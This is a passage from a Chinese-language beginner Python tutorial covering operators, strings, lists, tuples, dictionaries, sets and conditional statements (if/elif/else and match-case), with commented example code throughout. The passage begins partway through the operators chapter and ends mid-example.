x //= 2     # 等价于 x = x // 2   → x 是 3.0
x **= 3     # 等价于 x = x ** 3   → x 是 27.0
x %= 5      # 等价于 x = x % 5    → x 是 2.0

# Python 不支持 ++ 和 --(和 C/Java/JavaScript 不同)
# x++  ❌ SyntaxError
# x--  ❌ SyntaxError
# 用 x += 1 和 x -= 1 代替

# 同时给多个变量赋值(元组拆包)
a, b, c = 1, 2, 3
print(a, b, c)  # 1 2 3

# 交换两个变量的值(Python 独有的简洁写法)
a, b = 10, 20
a, b = b, a  # 交换!
print(a, b)  # 20 10

# 给多个变量赋相同的值
x = y = z = 0
print(x, y, z)  # 0 0 0

3.5 成员运算符(in / not in)

用来判断某个元素是否"在"一个序列中。序列包括字符串、列表、元组、字典、集合等。

# 列表中查找
fruits = ["苹果", "香蕉", "橘子"]
print("苹果" in fruits)      # True
print("西瓜" in fruits)      # False
print("西瓜" not in fruits)  # True

# 字符串中查找子串
email = "zhangsan@gmail.com"
print("@" in email)          # True(包含 @ 符号)
print("@qq" in email)        # False(不是 QQ 邮箱)
print("gmail" in email)      # True

# 字典中查找键(注意:是查键,不是查值)
person = {"name": "张三", "age": 18}
print("name" in person)      # True(键存在)
print("张三" in person)      # False("张三" 是值,不是键)
print("张三" in person.values())  # True(在值中查找)

# 集合中查找(集合查找非常快)
big_set = set(range(1000000))
print(999999 in big_set)     # True(瞬间返回,不需要遍历)

# 实际应用:输入验证
color = input("请输入颜色(red/green/blue):")
if color in ("red", "green", "blue"):
    print(f"你选择了 {color}")
else:
    print("无效的颜色")

3.6 身份运算符(is / is not)

is 和 is not 判断两个变量是否指向同一个对象(内存地址是否相同):

a = [1, 2, 3]
b = [1, 2, 3]   # 新建了一个列表
c = a            # c 和 a 指向同一个列表

print(a is b)      # False(值相同但不是同一个对象)
print(a is c)      # True(c 就是 a)
print(a is not b)  # True

# is 用于 None 判断(最佳实践)
x = None
if x is None:
    print("x 是 None")
if x is not None:
    print("x 不是 None")

3.7 运算符优先级

当一个表达式中有多个运算符时,Python 按照优先级决定谁先算。从高到低:

**
幂运算(最高优先级)
~ +x -x
正负号、按位取反
* / // %
乘、除、整除、取余
+ -
加、减
<< >>
位移运算
&
按位与
^ |
按位异或、按位或

之后是比较运算符(==, !=, <, >),再是 not,再是 and,最后是 or。

# 优先级示例
print(2 + 3 * 4)      # 14(先算乘法,再算加法)
print((2 + 3) * 4)    # 20(括号改变了优先级)
print(2 ** 3 ** 2)     # 512(幂运算是右结合的:2 ** (3 ** 2) = 2 ** 9)
print(True or False and False)  # True(and 比 or 先算)
不要死记优先级,加括号就对了 不确定优先级的时候,加括号永远是对的:(a + b) * c 比 a + b * c 清晰得多。括号不影响性能,但能让你的代码更易读、更不容易出错。

3.8 位运算符(了解即可)

位运算符直接操作二进制位。在日常编程中用得不多,但在底层开发、加密算法、性能优化中会用到。

a = 0b1100  # 12 的二进制
b = 0b1010  # 10 的二进制

print(bin(a & b))   # 0b1000  按位与:都为 1 才为 1
print(bin(a | b))   # 0b1110  按位或:至少一个为 1 就为 1
print(bin(a ^ b))   # 0b0110  按位异或:不同为 1,相同为 0
print(bin(~a))       # -0b1101 按位取反:0 变 1,1 变 0
print(bin(a << 2))   # 0b110000 左移 2 位(相当于乘以 4)
print(bin(a >> 2))   # 0b11    右移 2 位(相当于整除 4)

# 实际用途:权限系统
READ = 0b100     # 4
WRITE = 0b010    # 2
EXECUTE = 0b001  # 1

permission = READ | WRITE  # 给读和写权限
print(bool(permission & READ))    # True(有读权限)
print(bool(permission & EXECUTE)) # False(没有执行权限)
常见错误总结
  • 混淆 = 和 ==:= 是赋值,== 是比较,写条件时经常手误写成 if x = 5
  • 浮点数比较用 ==:0.1 + 0.2 == 0.3 是 False,应该用 abs(a - b) < 1e-9
  • 逻辑运算符写成单词:Python 用 and or not,不是 && || !
  • is 和 == 搞混:比较值用 ==,判断 None 用 is
  • 优先级记错:不确定就加括号,(a + b) * c 永远比 a + b * c 安全

第四章:字符串详解

4.1 创建字符串

字符串是 Python 中最常用的数据类型之一。它用来存储文本:名字、地址、文章内容、密码、JSON 数据……几乎所有"文字"都是字符串。创建字符串有四种方式:

# 四种引号都可以创建字符串
s1 = 'hello'          # 单引号(最常用)
s2 = "hello"          # 双引号(和单引号完全等价)
s3 = '''hello'''      # 三单引号(可以包含换行)
s4 = """hello"""      # 三双引号(和三单引号等价)

# 什么时候用哪种引号?
# 规则:当字符串内有引号时,用另一种引号包裹,避免转义
s5 = "It's OK"           # 字符串里有单引号 → 外层用双引号
s6 = 'He said "hello"'   # 字符串里有双引号 → 外层用单引号
s7 = "He said \"hello\"" # 也可以用转义字符 \"(但不如上面简洁)

# 三引号可以写多行字符串
poem = """
    白日依山尽,
    黄河入海流。
    欲穷千里目,
    更上一层楼。
"""
print(poem)

# 三引号也常用于多行注释(函数的 docstring)
def greet():
    """
    这是一个打招呼的函数。
    它会打印一句问候语。
    """
    print("Hello!")

4.2 索引与切片

字符串就像一排编号的格子,每个格子放一个字符:

正向索引: 0 1 2 3 4 +---+---+---+---+---+ | H | e | l | l | o | +---+---+---+---+---+ 反向索引: -5 -4 -3 -2 -1
s = "Hello"

# 索引(从 0 开始)
print(s[0])    # H(第一个字符)
print(s[1])    # e
print(s[-1])   # o(最后一个字符)
print(s[-2])   # l

# 切片 [start:end:step]
# 包含 start,不包含 end(左闭右开)
print(s[1:4])    # ell(索引 1、2、3)
print(s[:3])     # Hel(从头到索引 2)
print(s[2:])     # llo(从索引 2 到末尾)
print(s[::2])    # Hlo(每隔一个取一个)
print(s[::-1])   # olleH(反转字符串)

# 切片不会越界
print(s[0:100])  # Hello(超出部分自动截断)
# 但索引会越界
# print(s[10])   # IndexError!

4.3 字符串是不可变的

s = "Hello"
# s[0] = "h"  # ❌ TypeError! 字符串创建后不能修改

# 如果要"修改",只能创建新的字符串
s = "h" + s[1:]  # "hello"(其实是创建了新字符串)
s = s.replace("H", "h")  # "hello"

4.4 字符串常用方法(30+个)

查找与判断

s = "Hello, World!"

# 查找子串
print(s.find("World"))     # 7(返回首次出现的索引)
print(s.find("Python"))    # -1(找不到返回 -1)
print(s.index("World"))    # 7(和 find 类似,但找不到会报错)
print(s.count("l"))        # 3(出现次数)

# 开头/结尾判断
print(s.startswith("Hello"))  # True
print(s.endswith("!"))        # True

# 内容判断
print("hello123".isalnum())   # True(全是字母或数字)
print("hello".isalpha())      # True(全是字母)
print("12345".isdigit())      # True(全是数字)
print("  \t\n".isspace())     # True(全是空白字符)
print("Hello".isupper())      # False
print("HELLO".isupper())      # True
print("hello".islower())      # True

大小写转换

s = "Hello, World!"
print(s.upper())      # HELLO, WORLD!
print(s.lower())      # hello, world!
print(s.title())      # Hello, World!(每个单词首字母大写)
print(s.capitalize()) # Hello, world!(只有第一个字母大写)
print(s.swapcase())   # hELLO, wORLD!(大小写互换)

替换与分割

s = "Hello, World!"

# 替换
print(s.replace("World", "Python"))  # Hello, Python!
print(s.replace("l", "L", 2))       # HeLLo, World!(只替换前 2 个)

# 分割
print(s.split(", "))    # ['Hello', 'World!']
print("a-b-c".split("-"))  # ['a', 'b', 'c']

# 按行分割
lines = "第一行\n第二行\n第三行"
print(lines.splitlines())  # ['第一行', '第二行', '第三行']

# 连接(split 的反操作)
words = ["Python", "is", "fun"]
print(" ".join(words))     # "Python is fun"
print("-".join(words))     # "Python-is-fun"

去除空白

s = "  Hello, World!  "
print(s.strip())       # "Hello, World!"(去掉两边空白)
print(s.lstrip())      # "Hello, World!  "(去掉左边)
print(s.rstrip())      # "  Hello, World!"(去掉右边)

# strip 也可以去掉指定字符
print("***hello***".strip("*"))  # "hello"

对齐与填充

s = "Python"
print(s.center(20, "-"))  # -------Python-------
print(s.ljust(20, "."))   # Python..............
print(s.rjust(20, "."))   # ..............Python
print(s.zfill(10))        # 0000Python

4.5 字符串格式化(三种方式)

方式一:f-string(推荐,Python 3.6+)

name = "张三"
age = 18
score = 95.678

# 基本用法
print(f"我叫{name},今年{age}岁")

# 表达式
print(f"明年{age + 1}岁")
print(f"{'成年' if age >= 18 else '未成年'}")

# 格式控制
print(f"分数:{score:.2f}")    # 保留 2 位小数:95.68
print(f"百分比:{0.856:.1%}")  # 百分比:85.6%
print(f"{'右对齐':>10}")       #         右对齐
print(f"{'左对齐':<10}")       # 左对齐
print(f"{'居中':^10}")          #     居中
print(f"{'填充':*^10}")        # ***填充****

# 千分位分隔
print(f"{1234567:,}")  # 1,234,567

方式二:format() 方法

# 位置参数
print("{} is {}".format("Python", "awesome"))
print("{0} {1} {0}".format("Hello", "World"))  # Hello World Hello

# 关键字参数
print("{name} is {age} years old".format(name="Tom", age=20))

方式三:% 格式化(老式,了解即可)

print("我叫%s,今年%d岁" % ("张三", 18))
print("圆周率是 %.2f" % 3.14159)

4.6 转义字符

转义字符含义示例
\n换行"第一行\n第二行"
\t制表符(Tab)"姓名\t年龄"
\\反斜杠本身"C:\\Users"
\'单引号"It\'s"
\"双引号"He said \"hi\""
\0空字符—
# 原始字符串(r-string):忽略转义
print(r"C:\Users\new")  # C:\Users\new(\n 不会被解释为换行)

# 常用于正则表达式和 Windows 文件路径

4.7 bytes 与字符串编码

这是 Python 新手最经典的困惑之一。

一个类比

字符串(str) 就像是一篇文章的内容——你看到的文字含义。
字节串(bytes) 就像是这篇文章的摩尔斯电码——是传输和存储用的编码形式。
编码(encode)= 把文章翻译成电码;解码(decode)= 把电码翻译回文章。

# 字符串 → bytes(编码)
text = "你好Python"
data = text.encode("utf-8")     # 编码为 UTF-8 字节
print(data)   # b'\xe4\xbd\xa0\xe5\xa5\xbdPython'
print(type(data))  # <class 'bytes'>

# bytes → 字符串(解码)
text2 = data.decode("utf-8")    # 从 UTF-8 字节解码
print(text2)  # 你好Python

# 编码不匹配会报错
data_gbk = text.encode("gbk")  # 用 GBK 编码
print(data_gbk)
# data_gbk.decode("utf-8")  # ❌ UnicodeDecodeError!
# data_gbk.decode("gbk")    # ✅ 用对应的编码解码
乱码的根源 用 A 编码存储的数据,必须用 A 编码来读取。如果你用 UTF-8 编码写入文件,却用 GBK 打开,就会出现乱码。这是中文环境下最常见的编码问题。
常见错误总结
  • 字符串索引越界:s = "abc",s[3] 会报 IndexError,最大索引是 len(s)-1
  • 字符串不可变:s[0] = 'X' 会报错,必须创建新字符串 s = 'X' + s[1:]
  • f-string 表达式引号冲突:f-string 内部不能用和外层相同的引号,用不同引号或变量解决
  • split() 和 join() 搞反:split 是字符串→列表,join 是列表→字符串
  • 编码解码不匹配:UTF-8 编码的数据必须用 UTF-8 解码,混用会报 UnicodeDecodeError

第五章:列表与元组

5.1 列表(list)——Python 中最常用的数据结构

列表是一个有序的、可变的集合,可以存放任意类型的数据。如果说变量是"一个盒子",那列表就是"一排盒子"——每个盒子有编号(索引),你可以随时查看、修改、添加或拿走盒子里的东西。

列表 vs 现实生活

列表就像购物清单:你可以往上面加项目、删项目、修改项目、重新排序。清单上的项目有先后顺序(第一个、第二个……),而且随时可以改。

# 创建列表的几种方式
fruits = ["苹果", "香蕉", "橘子"]        # 最常用:用方括号
numbers = [1, 2, 3, 4, 5]               # 数字列表
mixed = [1, "hello", 3.14, True, None]  # 可以混合不同类型
empty = []                               # 空列表
from_list = list("hello")               # ['h', 'e', 'l', 'l', 'o']
from_range = list(range(5))             # [0, 1, 2, 3, 4]

# 嵌套列表(列表里套列表)——常用来表示矩阵、表格等二维数据
matrix = [
    [1, 2, 3],    # 第 0 行
    [4, 5, 6],    # 第 1 行
    [7, 8, 9]     # 第 2 行
]
print(matrix[1][2])  # 6(第 1 行第 2 列,索引从 0 开始)

# 列表中可以存放任何类型的数据
person = ["张三", 18, True, [90, 85, 95]]  # 名字、年龄、是否学生、成绩列表

5.2 列表的基本操作

索引和切片

列表的索引和切片语法和字符串完全一样:

fruits = ["苹果", "香蕉", "橘子", "西瓜", "葡萄"]

# 索引(从 0 开始)
print(fruits[0])     # 苹果(第一个)
print(fruits[1])     # 香蕉(第二个)
print(fruits[-1])    # 葡萄(最后一个)
print(fruits[-2])    # 西瓜(倒数第二个)

# 切片 [start:end:step]
print(fruits[1:3])   # ['香蕉', '橘子'](索引 1 到 2,不含 3)
print(fruits[:2])    # ['苹果', '香蕉'](从头到索引 1)
print(fruits[2:])    # ['橘子', '西瓜', '葡萄'](从索引 2 到末尾)
print(fruits[::-1])  # ['葡萄', '西瓜', '橘子', '香蕉', '苹果'](反转)

# 列表是可变的!可以直接修改元素
fruits[0] = "芒果"
print(fruits)  # ['芒果', '香蕉', '橘子', '西瓜', '葡萄']

# 也可以用切片批量修改
fruits[1:3] = ["草莓", "蓝莓"]
print(fruits)  # ['芒果', '草莓', '蓝莓', '西瓜', '葡萄']

添加元素

fruits = ["苹果", "香蕉"]

# append:在末尾添加一个元素(最常用)
fruits.append("橘子")
print(fruits)  # ['苹果', '香蕉', '橘子']

# insert:在指定位置插入(后面的元素自动后移)
fruits.insert(1, "芒果")   # 在索引 1 的位置插入
print(fruits)  # ['苹果', '芒果', '香蕉', '橘子']

# extend:合并另一个列表(把另一个列表的元素逐个添加)
fruits.extend(["西瓜", "葡萄"])
print(fruits)  # ['苹果', '芒果', '香蕉', '橘子', '西瓜', '葡萄']

# + 运算符:合并两个列表(创建新列表,不修改原列表)
new = fruits + ["草莓"]
print(fruits)  # 原列表没变
print(new)     # 多了草莓

# * 运算符:重复列表
zeros = [0] * 5       # [0, 0, 0, 0, 0]
pattern = ["A", "B"] * 3  # ['A', 'B', 'A', 'B', 'A', 'B']
append vs extend 的区别 append 把参数整体作为一个元素添加:[1,2].append([3,4]) → [1, 2, [3, 4]]
extend 把参数拆开逐个添加:[1,2].extend([3,4]) → [1, 2, 3, 4]

删除元素

fruits = ["苹果", "香蕉", "橘子", "香蕉", "西瓜"]

# remove:删除第一个匹配的元素(只删第一个!)
fruits.remove("香蕉")
print(fruits)  # ['苹果', '橘子', '香蕉', '西瓜'](第二个香蕉还在)

# pop:删除并返回指定位置的元素(默认最后一个)
last = fruits.pop()       # 删除最后一个
print(last)               # 西瓜
print(fruits)             # ['苹果', '橘子', '香蕉']
first = fruits.pop(0)     # 删除第一个
print(first)              # 苹果

# del:删除指定位置的元素或切片
del fruits[0]
print(fruits)             # ['香蕉']

# clear:清空列表
fruits.clear()
print(fruits)             # []

# ⚠️ remove 不存在的元素会报错
# fruits.remove("西瓜")  # ValueError: list.remove(x): x not in list

查找与统计

numbers = [3, 1, 4, 1, 5, 9, 2, 6, 5]

# in:判断元素是否存在
print(4 in numbers)   # True
print(7 in numbers)   # False
print(7 not in numbers)  # True

# index:查找元素的索引(找到第一个就返回)
print(numbers.index(4))   # 2(4 在索引 2 的位置)

# ⚠️ index 找不到会报错
# print(numbers.index(7))  # ValueError

# count:统计元素出现的次数
print(numbers.count(1))   # 2(1 出现了 2 次)
print(numbers.count(7))   # 0(7 不存在)

# len:列表长度(元素个数)
print(len(numbers))       # 9

排序

numbers = [3, 1, 4, 1, 5, 9, 2, 6, 5]

# sort:原地排序(直接修改原列表,不创建新列表)
numbers.sort()
print(numbers)  # [1, 1, 2, 3, 4, 5, 5, 6, 9]

numbers.sort(reverse=True)  # 降序排序
print(numbers)  # [9, 6, 5, 5, 4, 3, 2, 1, 1]

# sorted:返回新列表,不修改原列表
original = [3, 1, 4, 1, 5]
new_sorted = sorted(original)
print(original)    # [3, 1, 4, 1, 5](没变!)
print(new_sorted)  # [1, 1, 3, 4, 5]

# 自定义排序规则(用 key 参数)
words = ["banana", "Apple", "cherry"]
words.sort(key=str.lower)  # 忽略大小写排序
print(words)  # ['Apple', 'banana', 'cherry']

# 按字典中的某个字段排序
students = [
    {"name": "张三", "score": 90},
    {"name": "李四", "score": 75},
    {"name": "王五", "score": 85}
]
students.sort(key=lambda s: s["score"], reverse=True)  # 按分数降序
print(students)  # 王五 90, 张三 85, 李四 75

# reverse:反转列表(不是排序,是前后颠倒)
nums = [1, 2, 3]
nums.reverse()
print(nums)  # [3, 2, 1]

5.3 列表推导式

列表推导式是 Python 最优雅的特性之一,它让你用一行代码创建列表,代替传统的 for 循环。

# 传统写法(4 行)
squares = []
for x in range(1, 6):
    squares.append(x ** 2)
print(squares)  # [1, 4, 9, 16, 25]

# 列表推导式(1 行搞定!)
squares = [x ** 2 for x in range(1, 6)]
print(squares)  # [1, 4, 9, 16, 25]

# 语法:[表达式 for 变量 in 可迭代对象]
# 理解方式:把 for 循环的循环体放到前面

# 带条件过滤
even = [x for x in range(10) if x % 2 == 0]
print(even)  # [0, 2, 4, 6, 8]

# 带 if-else(注意 if-else 放在 for 前面)
result = ["偶数" if x % 2 == 0 else "奇数" for x in range(5)]
print(result)  # ['偶数', '奇数', '偶数', '奇数', '偶数']

# 嵌套循环
pairs = [(x, y) for x in range(3) for y in range(3)]
print(pairs)
# [(0,0), (0,1), (0,2), (1,0), (1,1), (1,2), (2,0), (2,1), (2,2)]

# 实际用法:提取字典中的值
students = [
    {"name": "张三", "score": 90},
    {"name": "李四", "score": 75},
    {"name": "王五", "score": 85}
]
names = [s["name"] for s in students if s["score"] >= 80]
print(names)  # ['张三', '王五']

# 实际用法:文件名过滤
import os
py_files = [f for f in os.listdir(".") if f.endswith(".py")]
列表推导式 vs for 循环 简单的列表创建用推导式更简洁。但如果逻辑很复杂(多层嵌套、需要 break/continue),还是用 for 循环更清晰。不要为了"一行代码"而牺牲可读性。

5.4 元组(tuple)——不可变的列表

元组和列表几乎一样,唯一的区别是:元组创建后不能修改(不能增删改元素)。

列表 vs 元组

列表 = 可以随时修改的购物清单(今天写"苹果",明天可以改成"芒果")。
元组 = 已经签好的合同(写好了就不能改,改了就违法/报错)。

# 创建元组
t1 = (1, 2, 3)
t2 = ("hello", "world")
t3 = (1,)        # ⚠️ 只有一个元素时必须加逗号!
t4 = ()           # 空元组

# 不加逗号的陷阱——新手必踩的坑!
not_tuple = (1)   # 这不是元组!这是整数 1!括号只是改变了优先级
is_tuple = (1,)   # 这才是元组——逗号才是关键

print(type(not_tuple))  # <class 'int'>
print(type(is_tuple))   # <class 'tuple'>

# 也可以不用括号创建元组(逗号才是关键)
t5 = 1, 2, 3      # 这也是元组
print(type(t5))   # <class 'tuple'>

# 元组可以索引和切片,但不能修改
t = (1, 2, 3, 4, 5)
print(t[0])      # 1
print(t[1:3])    # (2, 3)
print(len(t))    # 5
# t[0] = 10      # ❌ TypeError: 'tuple' object does not support item assignment
# t.append(6)    # ❌ AttributeError: 'tuple' object has no attribute 'append'

元组拆包——Python 最优雅的特性之一

# 拆包:把元组中的元素一次性赋给多个变量
x, y = (1, 2)
print(x)  # 1
print(y)  # 2

# 交换两个变量的值(Python 独有的简洁写法)
a, b = 10, 20
a, b = b, a  # 一行搞定交换!
print(a, b)  # 20 10

# 函数返回多个值(本质就是返回元组)
def get_min_max(numbers):
    return min(numbers), max(numbers)  # 返回元组

lo, hi = get_min_max([3, 1, 4, 1, 5, 9])
print(f"最小值:{lo},最大值:{hi}")  # 最小值:1,最大值:9

# 星号收集剩余元素
first, *rest = [1, 2, 3, 4, 5]
print(first)  # 1
print(rest)   # [2, 3, 4, 5]

first, *middle, last = (1, 2, 3, 4, 5)
print(first)   # 1
print(middle)  # [2, 3, 4]
print(last)    # 5

什么时候用元组,什么时候用列表?

场景推荐类型原因
数据不会改变(坐标、RGB 颜色)元组不可变更安全,可以作为字典的键
数据需要增删改(购物车、待办事项)列表需要灵活修改
函数返回多个值元组惯例,拆包方便
大量数据、性能敏感元组比列表更快、占用内存更少
作为字典的键元组只有不可变类型才能做字典的键
不确定数据量列表需要随时添加/删除
常见错误总结
  • 列表索引越界:lst = [1,2,3],lst[3] 报 IndexError,最大索引是 len(lst)-1
  • 切片不会报错:lst[1:100] 不会报错,只会返回能取到的部分,这和索引不同
  • 修改切片原列表:lst[1:3] = [99] 会替换并改变列表长度,不是只替换值
  • append vs extend:append([4,5]) 把列表当一个元素加入,extend([4,5]) 逐个加入
  • sort() vs sorted():sort() 修改原列表返回 None,sorted() 返回新列表
  • 元组不可变但包含可变对象:t = ([1,2], 3),t[0].append(99) 可以执行!元组内列表可变

第六章:字典与集合

6.1 字典(dict)——键值对存储

字典是 Python 中最重要的数据结构之一,没有之一。它用键-值对(key-value pair)存储数据。字典的核心思想是:通过名字(键)查找数据(值),而不是通过编号。

列表 vs 字典

列表 像一排有编号的柜子——你用编号(索引 0, 1, 2...)来找东西。你必须记住"第几个柜子放了什么"。
字典 像一本通讯录——你用名字(键)来找电话号码(值),不需要记编号。找"张三的电话",直接翻"张三"就行。

# 创建字典的几种方式
student = {
    "name": "张三",
    "age": 18,
    "score": 95.5,
    "is_passed": True
}

# 也可以用 dict() 构造函数
student2 = dict(name="张三", age=18)

# 从键值对列表创建
pairs = [("name", "张三"), ("age", 18)]
student3 = dict(pairs)

# 空字典
empty = {}
empty2 = dict()

访问字典的值

student = {"name": "张三", "age": 18, "score": 95.5}

# 方式一:用 [] 直接访问(键不存在会报 KeyError)
print(student["name"])   # 张三
# print(student["gender"])  # ❌ KeyError: 'gender'

# 方式二:用 .get() 访问(键不存在返回 None,不会报错)
print(student.get("age"))       # 18
print(student.get("gender"))    # None(不报错)
print(student.get("gender", "未知"))  # "未知"(指定默认值)

# 推荐:不确定键是否存在时用 get,确定存在时用 []

6.2 字典的基本操作

添加和修改

student = {"name": "张三", "age": 18}

# 添加新键值对
student["score"] = 95
print(student)  # {'name': '张三', 'age': 18, 'score': 95}

# 修改已有的值
student["age"] = 19
print(student)  # {'name': '张三', 'age': 19, 'score': 95}

# update:批量更新(合并字典)
student.update({"age": 20, "gender": "男", "city": "北京"})
print(student)  # 新增了 gender 和 city,age 被更新为 20

删除

student = {"name": "张三", "age": 18, "score": 95, "city": "北京"}

# del:删除指定键
del student["city"]

# pop:删除并返回值(可以设默认值)
score = student.pop("score")    # 删除 score 并返回其值
print(score)                     # 95
result = student.pop("gender", "未设置")  # 键不存在返回默认值,不报错

# clear:清空字典
student.clear()

遍历字典

student = {"name": "张三", "age": 18, "score": 95}

# 遍历键(默认就是遍历键)
for key in student:
    print(key, student[key])

# 遍历键值对(最常用)
for key, value in student.items():
    print(f"{key}: {value}")

# 只遍历值
for value in student.values():
    print(value)

6.3 字典推导式

# 创建平方字典
squares = {x: x**2 for x in range(1, 6)}
print(squares)  # {1: 1, 2: 4, 3: 9, 4: 16, 5: 25}

# 交换键和值
original = {"a": 1, "b": 2, "c": 3}
swapped = {v: k for k, v in original.items()}
print(swapped)  # {1: 'a', 2: 'b', 3: 'c'}

# 带条件过滤
scores = {"张三": 90, "李四": 55, "王五": 80, "赵六": 45}
passed = {name: score for name, score in scores.items() if score >= 60}
print(passed)  # {'张三': 90, '王五': 80}

6.4 嵌套字典

字典里套字典是实际开发中非常常见的数据结构,比如 JSON 数据就是嵌套字典:

students = {
    "001": {"name": "张三", "age": 18, "scores": [90, 85, 95]},
    "002": {"name": "李四", "age": 19, "scores": [80, 75, 88]},
    "003": {"name": "王五", "age": 20, "scores": [95, 92, 98]}
}

# 访问嵌套的值
print(students["001"]["name"])         # 张三
print(students["001"]["scores"][0])    # 90

# 安全访问嵌套字典(避免 KeyError)
name = students.get("004", {}).get("name", "未知")
print(name)  # 未知

6.5 集合(set)——无序不重复

集合就像数学中的集合:没有重复元素、没有顺序。集合最大的用途是去重和集合运算(交集、并集、差集)。

# 创建集合
fruits = {"苹果", "香蕉", "橘子", "苹果"}  # 重复的自动去除
print(fruits)  # {'苹果', '香蕉', '橘子'}(顺序可能不同)

# ⚠️ 创建空集合必须用 set(),不能用 {}
empty_set = set()   # ✅ 空集合
empty_dict = {}     # ⚠️ 这是空字典!不是空集合!

# 列表去重——集合最常用的功能
numbers = [1, 2, 2, 3, 3, 3, 4, 4, 4]
unique = list(set(numbers))
print(unique)  # [1, 2, 3, 4](顺序可能改变)

# 如果要保持顺序去重(Python 3.7+)
unique_ordered = list(dict.fromkeys(numbers))
print(unique_ordered)  # [1, 2, 3, 4](保持原始顺序)

集合运算

A = {1, 2, 3, 4, 5}
B = {4, 5, 6, 7, 8}

# 并集:所有元素(A 或 B 中的)
print(A | B)          # {1, 2, 3, 4, 5, 6, 7, 8}

# 交集:共同元素(A 且 B 中的)
print(A & B)          # {4, 5}

# 差集:A 有 B 没有的
print(A - B)          # {1, 2, 3}

# 对称差集:只在一方出现的
print(A ^ B)          # {1, 2, 3, 6, 7, 8}

# 实际应用:找出两个列表的共同元素
list1 = [1, 2, 3, 4, 5]
list2 = [4, 5, 6, 7, 8]
common = set(list1) & set(list2)
print(common)  # {4, 5}

集合的增删

s = {1, 2, 3}
s.add(4)         # {1, 2, 3, 4}
s.remove(2)      # {1, 3, 4}(元素不存在会报 KeyError)
s.discard(10)    # 元素不存在也不会报错(推荐用 discard)
s.pop()          # 随机删除一个元素

集合推导式

squares = {x**2 for x in range(-3, 4)}
print(squares)  # {0, 1, 4, 9}(负数的平方和正数一样,自动去重)
常见错误总结
  • 字典 key 必须不可变:key 只能是 str、int、float、tuple,不能是 list、dict、set
  • 访问不存在的 key:d["xxx"] 报 KeyError,用 d.get("xxx", 默认值) 避免
  • 集合去重会改变顺序:set([3,1,2]) 不保证顺序,需要有序结果用 sorted()
  • 空集合不能用 {}:{} 是空字典,空集合必须写 set()
  • dict 的 key 顺序:Python 3.7+ 字典保持插入顺序,但不要依赖这个做排序
  • remove 不存在的元素:set 的 remove() 会报 KeyError,用 discard() 更安全

第七章:流程控制——条件语句

7.1 程序的三大结构

所有程序——无论多复杂——都由三种基本结构组成:

1
顺序执行——代码从上到下一行一行执行,就像读文章一样。
2
条件判断(分支)——根据不同条件执行不同的代码。就像十字路口:红灯停,绿灯行。
3
循环——重复执行某段代码。就像洗衣机:转 30 分钟,直到衣服洗干净。

本章讲条件判断,下一章讲循环。

7.2 if 语句基础

if 语句让程序能根据不同情况做出不同反应。就像日常生活中的"如果...就...":

if 语句 vs 日常生活

"如果下雨,就带伞,否则不带。"
用 Python 写就是:if 下雨: 带伞 else: 不带伞

# 最简单的 if:只在条件为 True 时执行
age = 18
if age >= 18:
    print("你是成年人")  # 这行前面必须有缩进!
# 如果 age < 18,这行不会执行

# if-else:二选一
age = 15
if age >= 18:
    print("成年")      # 条件为 True 时执行
else:
    print("未成年")    # 条件为 False 时执行

# if-elif-else:多选一(elif 是 "else if" 的缩写)
score = 85
if score >= 90:
    print("优秀")
elif score >= 80:      # 第二个条件(只在第一个不满足时检查)
    print("良好")
elif score >= 60:      # 第三个条件
    print("及格")
else:                   # 以上都不满足
    print("不及格")

# 多个 elif:可以有任意多个
temperature = 28
if temperature >= 35:
    print("酷热")
elif temperature >= 30:
    print("炎热")
elif temperature >= 25:
    print("温暖")
elif temperature >= 15:
    print("凉爽")
elif temperature >= 0:
    print("寒冷")
else:
    print("严寒")
缩进是 Python 的语法! Python 用缩进来表示代码块(其他语言用花括号 {})。通常用 4 个空格作为一个缩进层级。缩进不对会报 IndentationError。

常见错误:混用 Tab 和空格。建议在编辑器设置中把 Tab 自动转换为 4 个空格。

if 语句的执行流程

# Python 从上到下检查每个条件:
# 1. 检查 if 的条件 → 如果 True,执行 if 的代码块,跳过所有 elif 和 else
# 2. 如果 False,检查第一个 elif → 如果 True,执行它,跳过后面的
# 3. 如果还是 False,检查下一个 elif...
# 4. 如果所有条件都不满足,执行 else(如果有的话)

# ⚠️ 重要:条件检查是"短路"的——一旦某个条件满足,后面的不再检查
score = 95
if score >= 90:
    print("优秀")    # ✅ 执行(score=95 满足)
elif score >= 80:
    print("良好")    # ❌ 不执行(虽然也满足,但已经被上面的 elif "截胡"了)
elif score >= 60:
    print("及格")    # ❌ 不执行

嵌套 if

# if 里面可以再套 if(但不建议嵌套太深,一般不超过 3 层)
age = 25
has_id = True

if age >= 18:
    if has_id:
        print("可以进入")
    else:
        print("请出示身份证")
else:
    print("未成年人不能进入")

# 更好的写法:用 and 合并条件
if age >= 18 and has_id:
    print("可以进入")
elif age >= 18:
    print("请出示身份证")
else:
    print("未成年人不能进入")

7.3 条件表达式(三元运算符)

当 if-else 只是为了给一个变量赋值时,可以用一行代码搞定:

# 传统写法(4 行)
age = 20
if age >= 18:
    status = "成年"
else:
    status = "未成年"

# 三元表达式(1 行)
status = "成年" if age >= 18 else "未成年"
print(status)  # 成年

# 语法:值1 if 条件 else 值2
# 如果条件为 True,返回值1;否则返回值2

# 实际应用
score = 75
result = "通过" if score >= 60 else "未通过"
abs_status = "正数" if x > 0 else ("零" if x == 0 else "负数")

# 在列表推导式中使用
numbers = [1, -2, 3, -4, 5]
labels = ["正" if x > 0 else "负" for x in numbers]
print(labels)  # ['正', '负', '正', '负', '正']

7.4 条件判断中的"真值"判断

Python 中有些值在条件判断中被视为 False,其他都是 True:

# 以下值在 if 中被视为 False:
# 0, 0.0, "", [], {}, set(), None, False

# 所以这些写法是等价的:
lst = []
if lst:              # ✅ 推荐(Pythonic)
    print("列表不为空")

if len(lst) > 0:     # ✅ 也行,但不如上面简洁
    print("列表不为空")

if lst != []:        # ⚠️ 不推荐
    print("列表不为空")

# 同样的道理
name = ""
if not name:         # 空字符串 → False → not False → True
    print("名字为空")

if name == "":       # 也行,但不如上面 Pythonic
    print("名字为空")

7.5 match-case(Python 3.10+)

match-case 是 Python 3.10 新增的模式匹配语法,类似其他语言的 switch-case,但更强大:

# 基本用法
command = "start"
match command:
    case "start":
        print("启动程序")
    case "stop":
        print("停止程序")
    case "restart":
        print("重启程序")
    case _:  # _ 是通配符,匹配所有其他情况(相当于 else)
        print("未知命令")

# 匹配多个值(用 | 分隔)
day = "周六"
match day:
    case "周一" | "周二" | "周三" | "周四" | "周五":
        print("工作日")
    case "周六" | "周日":
        print("周末")

# 结合拆包(模式匹配的强大之处)
point = (0, 5)
match point:
    case (0, 0):
        print("原点")
